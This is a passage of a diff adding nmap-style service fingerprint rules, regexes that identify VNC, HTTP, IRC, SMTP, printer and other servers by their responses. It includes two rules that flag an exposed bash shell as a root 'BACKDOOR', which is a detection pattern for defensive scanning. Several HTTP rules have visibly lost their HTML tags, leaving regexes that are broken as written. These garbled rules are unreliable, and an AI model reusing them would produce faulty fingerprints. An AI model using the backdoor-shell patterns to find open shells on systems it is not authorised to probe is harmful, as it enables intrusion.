          \n$| p/TightVNC/ cpe:/a:tightvnc:tightvnc/a +# Tightvnc 1.2.3 +match vnc-http m|^HTTP/1\.0 200 OK\n\nTightVNC desktop \[([-.\w]+)\]\n\n| p/TightVNC/ v/1.2.3/ i/user: $1; resolution: $2x$3; VNC TCP port: $4/ cpe:/a:tightvnc:tightvnc:1.2.3/a +# TightVNC 1.2.6 +match vnc-http m|^HTTP/1\.0 200 OK\n\n\n TightVNC desktop \[[-.\w]+\]| p/TightVNC/ cpe:/a:tightvnc:tightvnc/a +# TightVNC 1.2.8 +match vnc-http m|^HTTP/1\.0 200 OK[\r\n]*.*<!-- \n index\.vnc - default HTML page for TightVNC Java viewer applet, to be\n used with Xvnc\. On any file ending in \.vnc, the HTTP server embedded in\n Xvnc will substitute the following variables when preceded by a dollar:\n USER, DESKTOP, DISPLAY, APPLETWIDTH, APPLETHEIGHT, WIDTH, HEIGHT, PORT,\n.*<TITLE>\n(\w+)'s X desktop.*<APPLET CODE=VncViewer\.class ARCHIVE=VncViewer\.jar\n WIDTH=(\d+) HEIGHT=(\d+)>\n<param name=PORT value=(\d+)>\n\n</APPLET>|s p/TightVNC/ v/1.2.8/ i/user: $1; resolution: $2x$3; VNC TCP port: $4/ cpe:/a:tightvnc:tightvnc:1.2.8/a +# TightVNC 1.2.8 - I guess it gets cut off sometimes? +match vnc-http m|^HTTP/1\.0 200 OK[\r\n]*.*<!-- \n index\.vnc - default HTML page for TightVNC Java viewer applet, to be\n used with Xvnc\. On any file ending in \.vnc, the HTTP server embedded in\n Xvnc will substitute the following variables when preceded by a dollar:\n USER, DESKTOP, DISPLAY, APPLETWIDTH, APPLETHEIGHT, WIDTH, HEIGHT, PORT,\n|s p/TightVNC/ v/1.2.8/ cpe:/a:tightvnc:tightvnc:1.2.8/a +# TightVNC 1.2.9 +match vnc-http m|^HTTP/1\.0 200 OK\n.*<HTML><HEAD><TITLE>Remote Desktop\n\n\n\t\n\n\n|s p/TightVNC/ v/1.2.9/ i/resolution: $1x$2; VNC TCP port $3/ cpe:/a:tightvnc:tightvnc:1.2.9/a +# NetWare VNCServer +match vnc-http m|^HTTP/1\.0 200 OK\n.*\r\nAccess denied due to security policy violation

          \r\nReject ID: [0-9a-f-]+\r\n
          \r\n
          \r\n\r\n$| p/Check Point R65 firewall http config/ d/firewall/ cpe:/h:checkpoint:r65/a +match http m|^HTTP/1\.1 406 Not Acceptable\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nContent-Type: text/html; charset=utf-8\r\nConnection: close\r\nContent-Length: 616\r\n\r\n\nRequest Error| p/Blue Coat proxy server/ d/proxy server/ +match http m|^\r\n400 Bad Request\r\n\r\n

          400 Bad Request

          \r\n
          nginx
          \r\n\r\n\r\n$| p/nginx/ cpe:/a:igor_sysoev:nginx/ +match http m|^\r\n400 Bad Request\r\n\r\n

          400 Bad Request

          \r\n
          nginx/([\w._-]+)
          \r\n\r\n\r\n$| p/nginx/ v/$1/ cpe:/a:igor_sysoev:nginx:$1/ +match http m|^\r\n400 Bad Request\r\n\r\n

          400 Bad Request

          \r\n
          cloudflare-nginx
          \r\n\r\n\r\n$| p/cloudflare-nginx/ +match http m|^400 Bad Request\r\n

          400 Bad Request

          \r\n\r\n| p/nginx/ cpe:/a:igor_sysoev:nginx/ +# Counting on this 404 being unique enough here in RTSPRequest. +match http m|^HTTP/1\.0 404 Not Found\r\n\r\n$| p/XBT BitTorrent tracker http interface/ +match http m|^HTTP/1\.1 400 Bad Request\n\n$| p/Adaptec Storage Manager Agent httpd/ +match http m|^HTTP/1\.1 406 Not Acceptable\r\n.*
          \n\n
          \n\nRequest Error \(unsupported_protocol\)\n
          \n
          \n
          |s p/Dreambox httpd/ d/media device/ +match http-proxy m|^HTTP/1\.1 400 Bad Request \( The data is invalid\. \)\r\n| p/Microsoft ISA Server http proxy/ o/Windows/ cpe:/a:microsoft:isa_server/ cpe:/o:microsoft:windows/a +match http m|^HTTP/1\.0 400 Bad Request\r\nContent-Type: text/html; charset=UTF-8\r\nPragma: no-cache\r\nConnection: close\r\nDate: .*\r\n\r\n400 Bad Request\r\n

          400 Bad Request

          \r\nThe request could not be understood by the server due to malformed syntax\r\n$| p/Trend Micro CSC module for Cisco ASA 5510 firewall httpd/ cpe:/h:cisco:asa_5510/a +match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/plain\r\nConnection: close\r\n\r\nError 400: Bad Request\nCan not parse request: \[OPTIONS\]| p/TomTom httpd/ +match http m|^HTTP/1\.1 505 HTTP Version Not Supported\r\nDate: .*\r\nConnection: close\r\nServer: Apache\r\n\r\n| p/Apache Tomcat httpd/ cpe:/a:apache:tomcat/ +match http m|^HTTP/1\.1 400 Bad Request\r\nDate: .*\r\nContent-Length: 0\r\n\r\n400 Bad Request\r\n| p/Cisco Wireless LAN Controller httpd/ d/remote management/ cpe:/o:cisco:wireless_lan_controller_software/ +match http m|^HTTP/1\.1 505 HTTP Version Not Supported\r\nContent-Type: text/html\r\nContent-Length: 166\r\n\r\n505 HTTP Version Not Supported

          HTTP Version Not Supported

          HTTP versions 1\.0 and 1\.1 are supported\.

          | p/Mitel SIP DEC VoIP phone http config/ d/VoIP phone/ +#match http m|^\nError response\n\n\n

          Error response

          \n

          Error code 400\.\n

          Message: Bad request version \('RTSP/1\.0'\)\.\n

          Error code explanation: 400 = Bad request syntax or unsupported method\.\n\n| p/BaseHTTPServer/ cpe:/a:python:basehttpserver/a +match http m|^HTTP/1\.1 400 Bad Request\r\nContent-Type: text/plain\r\nContent-Length: 59\r\nConnection: close\r\n\r\nError 400: Bad Request\nCannot parse HTTP request: \[OPTIONS\]$| p/Mongoose httpd/ cpe:/a:cesanta:mongoose/ +match http m|^HTTP/1\.1 505 HTTP Version not supported\r\nContent-Length: 0\r\nDate: .* GMT\r\nConnection: close\r\n\r\n| p/Konica Minolta bizhub C452 OpenAPI/ d/printer/ cpe:/h:konicaminolta:bizhub_c452/ +match http m|^HTTP/1\.0 500\r\nContent-Type: text/html; charset=UTF-8\r\nCache-Control: no-cache\r\nPragma: no-cache\r\nExpires: 0\r\nConnection: close\r\n\r\n\n\n\n Application Firewall Error\n \n| p/Squid/ i/Chinese/ cpe:/a:squid-cache:squid::::zh/ + +match ident m|^0 , 0 : ERROR : UNKNOWN-ERROR\r\n$| p/WatchGuard Firebox firewall identd/ d/firewall/ +match ident m|^HELP : USERID : UNIX : trilluser\r\n$| p/Trillian identd/ cpe:/a:trillian:trillian/ +match ident m|^HELP : USERID : UNIX : ([-\w_.]+)\r\n$| p/Trillian identd/ i/Name $1/ cpe:/a:trillian:trillian/ +# Internet Rex v2.29 +match ident m|^\d+, \d+ : USERID : UNIX : [-.@\w]+\r\n| p/Internet Rex identd/ +match ident m|^0, 0 : ERROR : UNKNOWN-ERROR$| p/Windows NT identd/ o/Windows/ cpe:/o:microsoft:windows_nt/a + +match ipp m|^HTTP/1\.1 405 Method Not Allowed\r\nContent-Length: 23\r\nContent-Type: text/html\r\nUpgrade: TLS/1\.0\r\n\r\n 405 Method Not Allowed| p/Ecosys ipp/ d/print server/ + +# IRCNet ircd +match irc m|^:([-\w_.]+) 451 \* :You have not registered\r\n$| p/IRCnet-based ircd/ h/$1/ +match irc m|^:([-\w_.]+) 020 \* :.*\r\n:[-\w_.]+ 451 \* :You have not registered\r\n| p/IRCnet-based ircd/ h/$1/ + +# ircu +match irc m|^:([-\w_.]+) 451 \* :Register first\.\r\n| p/ircu ircd inter-server port/ h/$1/ cpe:/a:undernet:ircu/ +match irc m|^:([-\w_.]+) 451 HELP :You have not registered\r\n| p/ircu ircd/ h/$1/ cpe:/a:undernet:ircu/ +match irc m|^:([-\w_.]+) 451 HELP :Register first\.\r\n| p/ircu ircd/ h/$1/ cpe:/a:undernet:ircu/ +match irc m|^NOTICE AUTH :\*\*\* Checking Ident\r\n:([-\w_.]+) 451 \* :Register first\.\r\n| p/ircu ircd/ h/$1/ cpe:/a:undernet:ircu/ +match irc m|^:([\w._-]+) 451 \* :Connection not registered\r\n| p/ngircd/ h/$1/ cpe:/a:barton:ngircd/ +match irc m|^:([\w._-]+) 461 HELP\r\n| p/matterircd/ h/$1/ cpe:/a:42wim:matterircd/ +match irc m|^:([-\w_.]+) 290 :\.-----------------=#\[ euIRCd HelpSystem \]#=----------------\.\n| p/euIRCd/ h/$1/ + +match jabber m|^$| p/Zimbra 6 jabberd/ + +match laserfiche m|^HLO 0 0 \. 0 71\r\nContent-type: application/vnd\.laserfiche\.lrnp\r\n\r\nLRNP/1\.1\r\n\r\nlistener\r\nEND\r\nERR 0 1 \. 71 80\r\nContent-type: application/vnd\.laserfiche\.lrnp\r\n\r\n451 0 Invalid message \(-2001\)\r\nEND\r\nMSG 0 2 \. 151 58\r\nContent-type: application/vnd\.laserfiche\.lrnp\r\n\r\nCLOSE 0\r\nEND\r\n$| p/Laserfiche document service/ + +match lmtp m|^220 ([\w.-]+) LMTP\r\n214-This is DBMail-LMTP\.\r\n214-The following commands are supported:\r\n214-LHLO, RSET, NOOP, QUIT, HELP\.\r\n214-VRFY, EXPN, MAIL, RCPT, DATA\.\r\n214-For more information about a command:\r\n214 Use HELP \.\r\n| p/DBMail lmtpd/ h/$1/ cpe:/a:paul_j_stevens:dbmail/ + +match nntp m|^200 NNTP server ready\r\n100 Avaliable commands:\r\nARTICLE\r\nAUTHINFO\r\nBODY\r\nGROUP\r\nHEAD\r\nHELP\r\nIHAVE\r\nLAST\r\nLIST\r\nNEWGROUPS\r\nNEWNEWS\r\nNEXT\r\nPOST\r\nQUIT\r\nSLAVE\r\nSTAT\r\nXHDR\r\n\.\r\n| p|Hamster Playground/Kerio nntpd| +match nntp m|^200 ([\w._-]+) news server ready - posting ok\r\n100 Help text follows\r\n$| p/Intersquish nntpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a + +match pop3pw m|^200 Welcome to ([\w.-]+) password daemon\.\r\n214-Commands:\r\n214-\tUSER\tPASS\tNEWPASS\tQUIT\tHELP\r\n214-\r\n214-For more info use \"HELP \"\r\n214 End of HELP info\r\n$| p/Gattaca PASS Server/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a + +match printer m|^([-\w_.]+): lpd: Illegal service request\n$| p/lpd/ h/$1/ +match printer m|^\x01Socket \d+ received unknown command 0x48 with arguments ELP$| p/RPM Print Manager lpd/ o/Windows/ cpe:/o:microsoft:windows/a +match printer m|^Command 48 is not supported\n| p/BusyBox lpd/ cpe:/a:busybox:busybox/ + +match print-monitor m|^false;error while receiving message from client\n$| p/Genius Bytes print monitor/ + +match bindshell m|^(root@([^:]+):[^#$]+)# bash: HELP: command not found\n\1# \1# $| p/Bash shell/ i/**BACKDOOR**; root shell/ h/$2/ cpe:/a:gnu:bash/ +match bindshell m|^(([\w-]+)@([^:]+):[^#$]+)\$ bash: HELP: command not found\n\1\$ \1\$ $| p/Bash shell/ i/**BACKDOOR**; user: $2/ h/$3/ cpe:/a:gnu:bash/ +# https://computing.llnl.gov/linux/slurm/ +# u32 length, u16 api version, u16 flags (0), u16 msg_type (8001), u32 body_length, u16 forward count, u16 ret count, +# u32 addr, u16 port, len-prefix auth type, u32 auth version, len-prefix auth data, u32 return_code (1008 = SLURM_PROTOCOL_INSANE_MSG_LENGTH) +# API version no longer really tracks software version +# Expect new fingerprints to vary only in the 5th byte +match slurm m|^\0\0\0.\x1b\0\0\0\x1fA\0\0\0\x04\0\0\0\0......\0\0\0\x0bauth/munge\0\0\0\0\n\0\0..MUNGE:[\w/+=]+:\0\0\0\x03\xf0|s p/SLURM/ v/API 2.7/ i|auth/munge| + +# Symantec Enterprise Firewall 6.5.2 SMTP proxy on Windows 2000 +match smtp m|^220 ([-.+\w]+) Generic SMTP handler\r\n214 Help not supported by this implementation\r\n$| p/Symantec Enterprise Firewall smtp proxy/ h/$1/ cpe:/a:symantec:enterprise_firewall/ +# Lotus Notes Domino 6.1 smtp server on Win2K +match smtp m|^220 Welcome to ([-.+\w]+) ESMTP Server at .*\r\n214-Enter one of the following commands:\r\n214-HELO EHLO MAIL RCPT DATA RSET NOOP QUIT\r\n214 HELP VRFY EXPN STARTTLS \r\n$| p/Lotus Notes Domino smtpd/ h/$1/ cpe:/a:ibm:lotus_domino/ +match smtp m|^220.*?\n214-Commands supported:\r\n214- HELO EHLO MAIL RCPT DATA(?: ETRN)?(?: AUTH)?\r\n214 NOOP QUIT RSET HELP \r\n$| p/Exim smtpd/ v/3.X/ cpe:/a:exim:exim:3/ +match smtp m|^220.*?\r?\n214-Commands supported:\r\n214 AUTH (?:STARTTLS )?HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP(?: VRFY)?\r\n$|s p/Exim smtpd/ v/4.X/ cpe:/a:exim:exim:4/ +match smtp m|^220[\s-](\S+) ESMTP ?\r\n214[\s-]qmail home page: http://cr\.yp\.to/qmail\.html, LinuxMagic Support http://www\.linuxmagic\.com\r\n| p/qmail smtpd/ i/LinuxMagic/ h/$1/ cpe:/a:djb:qmail/ +match smtp m|^220[\s-](\S+) ESMTP ?\r\n214[- ]qmail home page: http://pobox\.com/~djb/qmail\.html\r\n214[- ]qmail-ldap patch home page: http://www\.nrg4u\.com\r\n| p/qmail-ldap smtpd/ o/Unix/ h/$1/ cpe:/a:djb:qmail/ +# Some qmails don't have host ... ? +match smtp m|^220[\s-].*ESMTP ?\r\n214[- ]qmail home page: http://pobox\.com/~djb/qmail\.html\r\n| p/qmail smtpd/ o/Unix/ cpe:/a:djb:qmail/ +match smtp m|^220[\s-](\S+) (?:OK )?ESMTP ?\r\n214[- ]qmail home page: http://pobox\.com/~djb/qmail\.html| p/qmail smtpd/ o/Unix/ h/$1/ cpe:/a:djb:qmail/ +match smtp m|^220[\s-].*?ESMTP\r\n214 netqmail home page: http://qmail\.org/netqmail\r\n| p/netqmail smtpd/ v/1.04/ o/Unix/ +# VirusBuster MailShield for SMTP. Version 1.15.030 on Linux 2.4 +match smtp m|^220 ([-.\w]+) SMTP version 1\.00;\r\n214 We strongly advise you to study (?:of )?the RFC ?821\.\.\.\r\n$| p/VirusBuster MailShield for SMTP/ o/$1/ +# Postfix 1.1.12, 1.1.13, 2.0.9, 2.0.16 +match smtp m|^220 ([-\w_.]+) ESMTP\r\n402 Error: command not implemented\r\n$| p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a +match smtp m|^220 smtpd\r\n502 [\d.]+ Error: command not recognized\r\n| p/Postfix smtpd/ cpe:/a:postfix:postfix/a +match smtp m|^220 ([-\w_.]+)\r\n502 [\d.]+ Error: command not recognized\r\n| p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a +match smtp m|^220 ([-\w_.]+) ESMTP (?:[^(]+? )?\(Ubuntu\)\r\n502 5\.5\.2 Error: command not recognized\r\n| p/Postfix smtpd/ o/Linux/ h/$1/ cpe:/a:postfix:postfix/a cpe:/o:canonical:ubuntu_linux/ cpe:/o:linux:linux_kernel/a +match smtp m|^220 (?:.*? )?([-\w_.]+) ESMTP(?: [^\r\n]*)?\r\n502 5\.5\.2 Error: command not recognized\r\n| p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a +match smtp m|^220 (?:.*? )?([-\w_.]+) ESMTP(?: [^\r\n]*)?\r\n402 4\.5\.2 Error: command not recognized\r\n| p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a +match smtp m|^220 ([-\w_.]+) SMTP READY\r\n502 5\.5\.2 Error: command not recognized\r\n| p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a +match smtp m|^220 E?SMTP [^\r\n]*\r\n502 5\.5\.2 Error: command not recognized\r\n| p/Postfix smtpd/ cpe:/a:postfix:postfix/a +match smtp m|^220 .*\r\n502 Error: command not implemented\r\n$| p/Postfix smtpd/ cpe:/a:postfix:postfix/a +match smtp m|^220 ([-\w_.]+) ESMTP \w+\r\n$| p/Postfix smtpd/ h/$1/ cpe:/a:postfix:postfix/a +# Courier ESMTP courier-0.42.0-1.7.3 +match smtp m|^220 ([-.\w]+) ESMTP\r\n502 ESMTP command error\r\n$| p/Courier smtpd/ h/$1/ +match smtp m|214-2\.0\.0 This is sendmail version (\S+)\r?\n214-2\.0\.0 Topics:|s p/Sendmail/ v/$1/ o/Unix/ cpe:/a:sendmail:sendmail:$1/ +match smtp m|214-2\.0\.0 This is sendmail\r\n214-2\.0\.0 Topics:|s p/Sendmail/ o/Unix/ cpe:/a:sendmail:sendmail/ +match smtp m|^220 (\S+) E?SMTP Sendmail;| p/Sendmail/ o/Unix/ h/$1/ cpe:/a:sendmail:sendmail/ +match smtp m|^220.* Sendmail (\d[-.\w]+) -- HELP not implemented\r\n|s p/Sendmail/ v/$1/ o/Unix/ cpe:/a:sendmail:sendmail:$1/ +match smtp m|^220.*214-This is America Online mail version [vV](\S+)|s p/AOL smtpd/ v/$1/ +match smtp m|^220.*214 2\.0\.0 http://www\.google\.com/search.*RFC\+2821\s*\r?\n|s p/Google smtpd/ +match smtp m|^220.*214 SMTP server comments and bug reports to: \|s p/ZMailer smtpd/ +match smtp m|^220.*500 MessageWall: Unrecognized command|s p/MessageWall SMTP proxy/ +match smtp m|^220.*500 Unknown or unimplemented command|s p/MAILsweeper SMTP proxy/ +match smtp m|^220.*214 See http\:\/\/www\.messagelabs\.com\/support|s p/MessageLabs smtpd/ +match smtp m|^220 (\S+) ESMTP Service\r\n502 5\.3\.0 Sendmail Xserve -- HELP not implemented\r\n$| p/Xserve smtpd/ o/Unix/ h/$1/ +# Doesn't look like we can always get the host from the following: +match smtp m|^220 .*\r\n214-Commands Supported:\r\n214-HELO EHLO AUTH HELP QUIT MAIL NOOP RSET RCPT DATA ETRN VRFY STARTTLS\r\n214-Copyright \(c\) 1995-200\d, Stalker Software, Inc\.\r\n| p/CommuniGate Pro smtpd/ cpe:/a:stalker:communigate_pro/ +match smtp m|^220 Jana-Server ESMTP Service ready\r\n214- Jana Server ([\w.]+)\r\n| p/Jana mail server/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match smtp m|^220 ([-\w_.]+) ESMTP server ready .*\r\n214-This SMTP server is a part of the InterMail E-mail system\. For\r\n| p/InterMail smtpd/ h/$1/ +match smtp m|^220 ([-\w_.]+) ESMTP\r\n535 Authentication required\.\r\n| p/Courier MSA smtpd/ i/Auth required/ h/$1/ +match smtp m|^220 ([-\w_.]+) ESMTP\r\n400 STARTTLS is required first\.\r\n| p/Courier MSA smtpd/ i/STARTTLS required/ h/$1/ +match smtp m|^220 ESMTP\r\n214 qmail home page: http://pobox\.com/~djb/qmail\.html\r\n| p/qmail smtpd/ cpe:/a:djb:qmail/ +match smtp m|^220 ([-\w_.]+) ESMTP\r\n214-Gentoo Linux qmail-([-\w.]+)\r\n214 qmail home page: http://pobox\.com/~djb/qmail\.html\r\n| p/qmail smtpd/ v/$2/ i/Gentoo/ o/Linux/ h/$1/ cpe:/a:djb:qmail/ cpe:/o:gentoo:linux/ +match smtp m|^220 .* ESMTP\r\n214-Gentoo Linux qmail-([-\w.]+)\r\n214 qmail home page: http://pobox\.com/~djb/qmail\.html\r\n| p/qmail smtpd/ v/$1/ i/Gentoo/ o/Linux/ cpe:/a:djb:qmail/ cpe:/o:gentoo:linux/ +match smtp m|^554 SMTP synchronization error\r\n$| p/Exim smtpd/ cpe:/a:exim:exim/ +match smtp m|^220 ([-\w_.]+) ESMTP\r\n214-The following commands are recognized\r\n214-\tdata\tehlo\thelo\thelp\r\n214-\tmail\tnoop\tquit\trcpt\r\n214 \trset\tvrfy\r\n| p/IronPort C60 smtpd/ d/specialized/ o/AsyncOS/ h/$1/ cpe:/o:cisco:asyncos/a +match smtp m|^220 ([-\w_.]+) ESMTP\r\n214-The following commands are recognized\r\n214-\tauth\tdata\tehlo\teuq_full\r\n214-\thelo\thelp\tmail\tnoop\r\n214 \tquit\trcpt\trset\tvrfy\r\n| p/IronPort C600 smtpd/ d/specialized/ o/AsyncOS/ h/$1/ cpe:/o:cisco:asyncos/a +match smtp m|^220 ESMTP\r\n214-The following commands are recognized\r\n214-\tauth\tdata\tehlo\thelo\r\n214-\thelp\tmail\tnoop\tquit\r\n214 \trcpt\trset\tvrfy\r\n| p|Eserv/4 smtpd| +match smtp m|^220 ([-\w_.]+) ESMTP\r\n214-The following commands are recognized\r\n214-\tauth\tdata\tehlo\t| p/IronPort smtpd/ d/specialized/ o/AsyncOS/ h/$1/ cpe:/o:cisco:asyncos/a +match smtp m|^220 ([-\w_.]+) ESMTP ready\r\n214 [\d.]+ Commands: HELO EHLO MAIL RCPT DATA RSET NOOP VRFY QUIT STARTTLS\r\n| p/Kerio smtpd/ h/$1/ +match smtp m|^220 \[?([-\w_.]+)\]? ESMTP server ready\.\r\n214-Recognized SMTP commands are:\r\n214- HELO EHLO MAIL RCPT DATA RSET\r\n214- AUTH NOOP QUIT HELP VRFY SOML\r\n214 Mail server account is '([-\w_.]+)'\.\r\n| p|Mercury/32 smtpd| i/Mail server account $2/ h/$1/ +match smtp m|^220 ([-\w_.]+) Server ESMTP ready at .*\r\n241-\r\n$| p/BorderWare firewall smtpd/ d/firewall/ h/$1/ +match smtp m|^220 ([-\w_.]+) ESMTP \r\n$| p/BorderWare firewall smtpd/ d/firewall/ h/$1/ +match smtp m|^220 ([-\w_.]+)\r\n214-Commands supported:\r\n214 AUTH STARTTLS HELO EHLO MAIL RCPT DATA NOOP QUIT RSET HELP\r\n| p/Exim smtpd/ h/$1/ cpe:/a:exim:exim/ +match smtp m|^220 ([-\w_.]+) MailShield SMTP\r\n| p/MailShield smtpd/ h/$1/ +match smtp m|^220 ([-\w_.]+)\r\n211 DATA EXPN HELO MAIL NOOP QUIT RCPT RSET SAML SEND SOML TURN VRFY\r\n| p/IMail smtpd/ o/Windows/ h/$1/ cpe:/a:ipswitch:imail/ cpe:/o:microsoft:windows/a +match smtp m|^220 ([-\w_.]+) ESMTP\r\n214 qmail home page: http://pobox\.com/~djb/qmail\.html, LinuxMagic Support http://www\.linuxmagic\.com\r\n| p/Linuxmagic qmail-based smtpd/ o/Linux/ h/$1/ cpe:/a:djb:qmail/ cpe:/o:linux:linux_kernel/a +match smtp m|^220 ([-\w_.]+) ESMTP .*\r\n214-qmail home page: http://pobox\.com/~djb/qmail\.html\r\n214 qmail-ldap patch home page: http://www\.nrg4u\.com\r\n| p/qmail smtpd/ i/qmail-ldap support/ h/$1/ cpe:/a:djb:qmail/ +match smtp m|^220-([-\w_.]+) ESMTP\r\n220-MagicMail Daemon with Built-In Anti-Spam\r\n220 See http://www\.linuxmagic\.com for info\r\n214 qmail home page: http://cr\.yp\.to/qmail\.html, LinuxMagic Support http://www\.linuxmagic\.com\r\n| p/Linuxmagic qmail-based smtpd/ i/with Anti-Spam/ o/Linux/ h/$1/ cpe:/a:djb:qmail/ cpe:/o:linux:linux_kernel/a +match smtp m|^220 ESMTP Service ready at .*\r\n214-Enter one of the following commands:\r\n214-HELO EHLO MAIL RCPT DATA RSET NOOP QUIT\r\n214 HELP \r\n| p/Lotus Domino smtpd/ cpe:/a:ibm:lotus_domino/ +match smtp m|^220 ([-\w_.]+) ESMTP MTA\r\n214-This is Sendmail version AIX([\d.]+)/([\w.]+)\r\n| p/Sendmail/ v/$3/ i/AIX $2/ o/AIX/ h/$1/ cpe:/a:sendmail:sendmail:$3/ cpe:/o:ibm:aix/a +match smtp m|^220 Service ESMTP Ready\r\n214-This is Sendmail version ([\d.]+) \((P[-\w_.]+)\)\r\n.*future enhancements, contact your HP representative|s p/Sendmail/ v/$1 patch $2/ o/HP-UX/ cpe:/a:sendmail:sendmail:$1p$2/ cpe:/o:hp:hp-ux/a +match smtp m|^220 ([-\w_.]+)\r\n502 Command not implemented\r\n| p/IA Mailserver smtpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a +match smtp m|^220 ([-\w_.]+) ESMTP[^\r\n]*\r\n211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY\r\n\r\n| p/hMailServer smtpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a +match smtp m|^220 ([-\w_.]+) .*\r\n211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY\r\n\r\n| p/hMailServer smtpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a +match smtp m|^220 ([-\w_.]+) - Ready at .*\r\n214-Commands:\r\n214- HELO MAIL RCPT DATA RSET NOOP QUIT\r\n214- For more info use 'HELP '\.\r\n214 End of HELP info\r\n| p/NTMail smtpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a +match smtp m|^220 ESMTP Service ready\r\n500 Command unrecognized\r\n$| p/Zoe Java smtpd/ +match smtp m|^220 ([-\w_.]+) \r\n502 Command not implemented\r\n$| p/SmarterMail smtpd/ o/Windows/ h/$1/ cpe:/a:smartertools:smartermail/ cpe:/o:microsoft:windows/a +match smtp m|^220 ([-\w_.]+) ESMTP [-\w_.]+ Mail Server ([\d.]+); .*\r\n214-2\.0\.0 This is [-\w_.]+ Mail Server [-\w_.]+\r\n214-2\.0\.0 Topics:\r\n| p/Merak Mail Server smtpd/ v/$2/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a +match smtp m|^220 WebMail ESMTP\r\n502 negative vibes\r\n| p/Mozilla Thunderbird WebMail plugin smtpd/ cpe:/a:mozilla:thunderbird/ +match smtp m|^220 Mail Server\r\n211 Help:->Supported Commands: HELO,EHLO,QUIT,HELP,RCPT,MAIL,DATA,RSET,NOOP\r\n| p/MailEnable Enterprise/ v/2.0.x/ o/Windows/ cpe:/a:mailenable:mailenable:2.0:-:enterprise/ cpe:/o:microsoft:windows/a +match smtp m|^220 Welcome to the mail server\.\r\n211 DATA EXPN HELO MAIL NOOP QUIT RCPT RSET SAML SEND SOML TURN VRFY\r\n| p/Ipswitch iMail smtpd/ o/Windows/ cpe:/o:microsoft:windows/a +match smtp m|^220 .*\r\n214-This is ArGoSoft Mail Server Pro for WinNT/2000/XP, Version [-\w_.]+ \(([-\w_.]+)\)\r\n| p/ArGoSoft Pro smtpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match smtp m|^220 ArGoSoft Mail Server Freeware, Version [-\w_.]+ \(([-\w_.]+)\)\r\n| p/ArGoSoft Freeware smtpd/ v/$1/ o/Windows/ cpe:/o:microsoft:windows/a +match smtp m|^220 ([-\w_.]+) Service ready\.\r\n214- Valid commands are:\r\n214- HELO MAIL RCPT DATA RSET QUIT NOOP\r\n214- HELP VRFY\r\n214- Commands not valid are:\r\n214- SEND SOML SAML TURN\r\n214- Mail forwarding handled by this server\.\r\n| p|i5/OS V5R4M0 or OS/400 smtpd| h/$1/ +match smtp m|^220 Simple Mail Tranfer Service Ready \r\n502 Commande not implement \r\n| p/Brother printer smtpd/ d/printer/ +match smtp m|^220 ([-\w_.]+) ESMTP server is ready\r\n.*214-Copyright \(c\) 1995-2004, Stalker Software, Inc\.\r\n|s p/Stalker Software CommuniGate smtpd/ h/$1/ cpe:/a:stalker:communigate/ +match smtp m|^220 ([-\w_.]+) ESMTP\r\n211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY\r\n| p/hMailServer smtpd/ o/Windows/ h/$1/ cpe:/o:microsoft:windows/a +match smtp m|^220 \[[-\w_.]+\] Courier Mail Server ([-\w_.]+) ESMTP service ready\r\n| p/Courier MSA smtpd/ v/$1/ +match smtp m|^220 ([-\w_.]+) ESMTP\r\n214-This is qpsmtpd \r\n214-See http://smtpd\.develooper\.com/\r\n| p/qpsmtpd smtpd/ h/$1/ cpe:/a:ask_bjorn_hansen:qpsmtpd/ +match smtp m|^220 ([-\w_.]+) ESMTP Generic Ready\r\n502 Command not implemented\.\r\n| p/MailMarshal smtpd/ h/$1/ +match smtp m|^220 ([-\w_.]+) ESMTP SubEthaSMTP\r\n214-This is the SubEthaSMTP ([\w._-]+) server| p/SubEtha smtpd/ v/$2/ h/$1/ cpe:/a:voodoodyne:subethasmtp:$2/ +match smtp m|^220 ([-\w_.]+) ESMTP SubEthaSMTP null\r\n| p/SubEtha smtpd/ h/$1/ cpe:/a:voodoodyne:subethasmtp/ +match smtp m|^220 ([-\w_.]+) ESMTP SubEthaSMTP (\d[\w._-]*)\r\n| p/SubEtha smtpd/ v/$2/ h/$1/ cpe:/a:voodoodyne:subethasmtp:$2/ +match smtp m|^220 ([\w_.-]+) ESMTP.*information about Email Mx, please see http://www\.openwave\.com\r\n|s p/Openwave Email Mx smtpd/ h/$1/ +match smtp m|^220 ([\w_.-]+) Welcome\r\n214-ESMTP Mail Server\r\n214-Available commands:\r\n214- HELO EHLO MAIL RCPT DATA\r\n214- RSET NOOP QUIT HELP VRFY\r\n214- AUTH ETRN\r\n214-For information on a specific command, type \"HELP \"\.\r\n214 OK\r\n| p/SurgeMail smtpd/ h/$1/ cpe:/a:netwin:surgemail/ +match smtp m|^220 ([\w_.-]+) ESMTP\r\n214-Run 'info anubis' or visit http://www\.gnu\.org/software/anubis/manual/\r\n214 End of HELP info\r\n$| p/GNU Anubis/ h/$1/ cpe:/a:gnu:anubis/ +# hMailServer 4.4.1-B273 +match smtp m|^220 ([\w_.-]+)\r\n211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY\r\n| p/hMailServer/ h/$1/ +# Maybe too general, but the greeting was unique. +match smtp m|^220 .+\r\n211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY\r\n\r\n| p/hMailServer/ +match smtp m|^220 ([\w._-]+) -=- ESMTP\r\n502 unknown command\.\r\n| p/PineApp SeCure SoHo smtpd/ h/$1/ cpe:/a:pineapp:mail-secure/ +match smtp m|^220 Ready to receive mail2 -=- ESMTP\r\n502 